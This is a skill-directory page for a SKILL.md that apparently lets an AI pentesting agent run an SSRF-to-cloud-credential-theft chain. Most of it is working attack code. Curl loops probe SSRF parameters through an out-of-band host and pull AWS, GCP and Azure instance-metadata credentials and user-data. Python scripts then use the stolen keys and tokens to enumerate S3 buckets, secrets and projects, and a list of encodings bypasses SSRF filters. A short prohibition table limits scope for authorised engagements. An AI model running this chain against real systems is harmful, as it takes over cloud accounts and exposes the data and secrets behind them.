Back to skills
SKILL.md
Khaos Chain Ssrf Cloud
BSecuritySSRF → IMDS metadata → credential theft → AWS/GCP/Azure API access chain — cloud IAM compromise via server-side request forgery
- 6 stars
- 0 votes
- 0 copies
- 0 views
- Added December 5, 2026
Works with
Security analysis
88/100- Sends environment variables or credentials to an external URL
Pro scans all 4 files and shows the line behind each finding
npx -y skills add henriqqw/Khaos-Pentester-Agent --skill khaos-chain-ssrf-cloud --agent claude-codeAre you the author of Khaos Chain Ssrf Cloud?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/henriqqw-khaos-chain-ssrf-cloud-e7d6d72c)---
name: khaos-chain-ssrf-cloud
description: SSRF → IMDS metadata → credential theft → AWS/GCP/Azure API access chain — cloud IAM compromise via server-side request forgery
metadata:
khaos:
stages: [exploitation, validation]
tool_ids: [ssrfmap, nuclei-dast, httpx]
---
# SSRF → Cloud IAM Compromise Chain
SSRF on a cloud-hosted application gives access to the Instance Metadata Service (IMDS), which returns temporary IAM credentials tied to the instance's role. These credentials grant cloud API access with whatever permissions the role has — potentially S3 buckets, secrets, RDS, Lambda, or even admin-level access.
## Phase 1: Confirm SSRF to internal network
```bash
TARGET="https://TARGET"
AUTH="Authorization: Bearer TOKEN"
OOB="https://OOB_HOST"
# Step 1: Find SSRF parameters — inputs that accept URLs:
for param in "url" "uri" "path" "src" "href" "redirect" "fetch" "load" "image" "avatar" "webhook" "callback" "proxy" "dest" "target"; do
for endpoint in "/api/fetch" "/api/image" "/api/webhook" "/api/preview" "/api/import"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" "$TARGET$endpoint?$param=$OOB/ssrf_probe&$param=$param" -H "$AUTH")
echo "$endpoint?$param=OOB: $code"
done
done
# Step 2: Confirm SSRF to localhost:
curl -sk "$TARGET/api/fetch?url=http://127.0.0.1/" -H "$AUTH" | head -5
# If response contains localhost content → SSRF confirmed
# Step 3: OOB probe:
curl -sk "$TARGET/api/fetch?url=http://$OOB/ssrf_confirm" -H "$AUTH"
# OOB receives HTTP request from TARGET server → SSRF confirmed
```
---
## Phase 2: IMDS access — AWS
```bash
TARGET="https://TARGET"
AUTH="Authorization: Bearer TOKEN"
SSRF_PARAM="url"
# AWS IMDSv1 (no session token required):
IMDS_BASE="http://169.254.169.254/latest"
# Step 1: Confirm IMDS access:
curl -sk "$TARGET/api/fetch?$SSRF_PARAM=$IMDS_BASE/meta-data/" -H "$AUTH"
# Returns list of metadata keys: ami-id, hostname, iam, ...
# Step 2: Get IAM role name:
ROLE=$(curl -sk "$TARGET/api/fetch?$SSRF_PARAM=$IMDS_BASE/meta-data/iam/security-credentials/" -H "$AUTH")
echo "IAM role: $ROLE"
# Step 3: Get temporary credentials for the role:
curl -sk "$TARGET/api/fetch?$SSRF_PARAM=$IMDS_BASE/meta-data/iam/security-credentials/$ROLE" -H "$AUTH"
# Returns: {"AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "...", "Expiration": "..."}
# Step 4: Get user-data (may contain secrets, DB passwords, deploy keys):
curl -sk "$TARGET/api/fetch?$SSRF_PARAM=$IMDS_BASE/user-data" -H "$AUTH"
```
---
## Phase 3: IMDS access — GCP and Azure
```bash
TARGET="https://TARGET"
AUTH="Authorization: Bearer TOKEN"
SSRF_PARAM="url"
# GCP IMDS (requires Metadata: true header — test if SSRF passes custom headers):
GCP_IMDS="http://metadata.google.internal/computeMetadata/v1"
# Service account token:
curl -sk "$TARGET/api/fetch?$SSRF_PARAM=$GCP_IMDS/instance/service-accounts/default/token" \
-H "$AUTH" -H "Metadata: true"
# Returns: {"access_token": "ya29...", "token_type": "Bearer", "expires_in": 3599}
# Project ID and service account email:
curl -sk "$TARGET/api/fetch?$SSRF_PARAM=$GCP_IMDS/project/project-id" -H "$AUTH"
curl -sk "$TARGET/api/fetch?$SSRF_PARAM=$GCP_IMDS/instance/service-accounts/default/email" -H "$AUTH"
# Azure IMDS:
AZURE_IMDS="http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
curl -sk "$TARGET/api/fetch?$SSRF_PARAM=$AZURE_IMDS" \
-H "$AUTH" -H "Metadata: true"
# Returns: {"access_token": "...", "client_id": "...", "expires_on": "..."}
```
---
## Phase 4: Validate stolen credentials — AWS
```python
#!/usr/bin/env python3
"""
Validate AWS credentials stolen from IMDS.
Confirms real API access with the instance role.
"""
import boto3, json
# Replace with actual stolen credentials from Phase 2:
ACCESS_KEY = "ASIA..."
SECRET_KEY = "..."
SESSION_TOKEN = "..."
session = boto3.Session(
aws_access_key_id=ACCESS_KEY,
aws_secret_access_key=SECRET_KEY,
aws_session_token=SESSION_TOKEN,
)
# Step 1: Who are we? (always works with valid creds)
sts = session.client("sts")
identity = sts.get_caller_identity()
print(f"Account: {identity['Account']}")
print(f"ARN: {identity['Arn']}")
print(f"UserID: {identity['UserId']}")
# Step 2: What can we access? (enumerate based on role)
# S3:
try:
s3 = session.client("s3")
buckets = s3.list_buckets()["Buckets"]
print(f"S3 buckets: {[b['Name'] for b in buckets]}")
except Exception as e:
print(f"S3: {e}")
# Secrets Manager:
try:
sm = session.client("secretsmanager", region_name="us-east-1")
secrets = sm.list_secrets()["SecretList"]
print(f"Secrets: {[s['Name'] for s in secrets]}")
except Exception as e:
print(f"Secrets: {e}")
```
---
## Phase 5: Validate stolen credentials — GCP
```python
#!/usr/bin/env python3
"""
Validate GCP access token stolen from IMDS.
"""
import requests
ACCESS_TOKEN = "ya29.STOLEN_TOKEN"
headers = {"Authorization": f"Bearer {ACCESS_TOKEN}"}
# Who are we?
r = requests.get("https://www.googleapis.com/oauth2/v1/tokeninfo",
params={"access_token": ACCESS_TOKEN})
print(f"Token info: {r.json()}")
# What projects can we see?
r = requests.get("https://cloudresourcemanager.googleapis.com/v1/projects",
headers=headers)
print(f"Projects: {r.json()}")
# Storage buckets:
project_id = "PROJECT_ID_FROM_IMDS"
r = requests.get(
f"https://storage.googleapis.com/storage/v1/b?project={project_id}",
headers=headers
)
print(f"Buckets: {r.json()}")
```
---
## Phase 6: SSRF filter bypass techniques
```bash
TARGET="https://TARGET"
AUTH="Authorization: Bearer TOKEN"
PARAM="url"
# Common SSRF filters block "169.254.169.254" or "127.0.0.1" — bypass variants:
IMDS_BYPASSES=(
# Decimal encoding:
"http://2130706433/" # 127.0.0.1 in decimal
"http://0x7f000001/" # 127.0.0.1 in hex
"http://0177.0.0.1/" # 127.0.0.1 in octal
# IPv6:
"http://[::1]/"
"http://[::ffff:169.254.169.254]/"
# DNS rebinding (use external DNS that resolves to 169.254.169.254):
"http://169.254.169.254.nip.io/" # may not resolve — use own DNS
# Short URL / redirect chain:
"http://SSRF_REDIRECT_HOST/" # host that 302 → 169.254.169.254
# Double URL encoding:
"http://169%2e254%2e169%2e254/"
# Mixed case:
"http://169.254.169.254/"
)
for bypass in "${IMDS_BYPASSES[@]}"; do
resp=$(curl -sk "$TARGET/api/fetch?$PARAM=${bypass}latest/meta-data/" -H "$AUTH")
if [ -n "$resp" ] && ! echo "$resp" | grep -qi "error\|blocked\|denied"; then
echo "[BYPASS] $bypass: $resp"
fi
done
```
---
## ⛔ Prohibition table
| Prohibited | Alternative |
|---|---|
| Exfiltrating real IAM credentials and using them outside the engagement | Confirm role name and credential structure; validate identity only (STS GetCallerIdentity) |
| Listing or reading production S3 buckets containing customer data | Confirm access is possible (ListBuckets response); document bucket names; do not read objects |
| Calling destructive cloud APIs (delete, terminate, disable) | Read-only enumeration only: list, get, describe |
| Exfiltrating database connection strings from user-data | Note that user-data is accessible; redact actual values in finding evidence |
## ✓ Completion self-check
- [ ] SSRF parameter confirmed: OOB or localhost response received
- [ ] IMDS reachable via SSRF: 169.254.169.254 or metadata.google.internal responds
- [ ] IAM role name retrieved (AWS) or service account email (GCP)
- [ ] Temporary credentials extracted: AccessKeyId/SecretAccessKey/Token visible
- [ ] Identity validated: STS GetCallerIdentity or tokeninfo returns account/ARN
- [ ] At least one resource enumerated: S3 buckets, secrets, or projects
- [ ] SSRF filter bypass tested if initial attempt blocked
- [ ] Chain: CWE-918 (SSRF) → chain_severity CRITICAL
Files in this skill
- SKILL.md
- scripts/aws_creds_validate.py
- scripts/cloud_enum.py
- scripts/ssrf_imds_probe.py
Attribution
Related skills
View all in ai-agents →Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.